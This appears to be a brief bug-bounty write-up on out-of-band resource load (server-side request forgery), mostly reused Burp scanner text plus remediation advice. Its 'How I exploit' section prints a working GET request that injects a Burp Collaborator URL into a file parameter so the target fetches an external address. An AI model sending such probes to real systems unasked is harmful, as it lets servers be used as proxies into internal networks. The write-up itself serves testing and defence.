How i exploit out-of-band resource load (HTTP) using burp suite extension plugin (taborator)
Issue background
Out-of-band resource load arises when it is possible to induce an application to fetch content from an arbitrary external location, and incorporate that content into the application’s own response(s). The ability to trigger arbitrary out-of-band resource load does not constitute a vulnerability in its own right, and in some cases might even be the intended behavior of the application. However, in many cases, it can indicate a vulnerability with serious consequences.
The ability to request and retrieve web content from other systems can allow the application server to be used as a two-way attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack, or retrieve content from, other systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.
Additionally, the application’s processing of web content that is retrieved from arbitrary URLs exposes some important and non-conventional attack surface. An attacker can deploy a web server that returns malicious content, and then induce the application to retrieve and process that content. This processing might give rise to the types of input-based vulnerabilities that are normally found when unexpected input is submitted directly in requests to the application. The out-of-band attack surface that the application exposes should be thoroughly tested for these types of vulnerabilities.
Enter Burp Collaborator
Burp Collaborator augments the conventional testing model with a new component, distinct from Burp and the target application. Burp Collaborator can:
- Capture external interactions initiated by the target that are triggered by Burp’s attack payloads.
- Deliver attacks back against the target in responses to those interactions.
- Enable the reliable detection of many new vulnerabilities.

- The Burp Collaborator server runs on the public web (by default).
- It uses its own dedicated domain name, and the server is registered as the authoritative DNS server for this domain.
- It provides a DNS service that answers any lookup on its registered domain (or subdomains) with its own IP address.
- It provides an HTTP/HTTPS service, and uses a valid, CA-signed, wildcard SSL certificate for its domain name.
- In future, custom implementations of various other network services will be provided, such as SMTP and FTP.
Detecting external service interaction
External service interaction occurs when a payload submitted to the target application causes it to interact with an arbitrary external domain using some network protocol:

This behavior is sometimes referred to as “server-side request forgery”. We prefer the term “external service interaction” because this captures more general behavior: interactions can be triggered using protocols other than HTTP, such as SMB or FTP.
External service interaction can represent a serious vulnerability because it can allow the application server to be used as an attack proxy to target other systems. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.
Issue detail
It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response.
The payload http://2vy92l01fwhwqd5vb49mh8ib329xxwlm9dw3ks.burpcollaborator.net/about.nsp was submitted in the file parameter.
The application performed an HTTP request to the specified domain. The response from that request was then included in the application’s own response.
How I exploit :
very easy to exploit with burp plugin
I exploit some file= parameter (xyz.com/file=burp Taborator payload)
GET /process.php?file=http%3a%2f%2f2vy92l01fwhwqd5vb49mh8ib329xxwlm9dw3ks.burpcollaborator.net%2fabout.nsp HTTP/1.1
Host:xyz.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


Issue remediation
You should review the purpose and intended use of the relevant application functionality, and determine whether the ability to trigger arbitrary out-of-band resource load is intended behavior. If so, you should be aware of the types of attacks that can be performed via this behavior and take appropriate measures. These measures might include blocking network access from the application server to other internal systems, and hardening the application server itself to remove any services available on the local loopback adapter. You should also ensure that content retrieved from other systems is processed in a safe manner, with the usual precautions that are applicable when processing input from direct incoming web requests.
If the ability to trigger arbitrary out-of-band resource load is not intended behavior, then you should implement a whitelist of permitted URLs, and block requests to URLs that do not appear on this whitelist.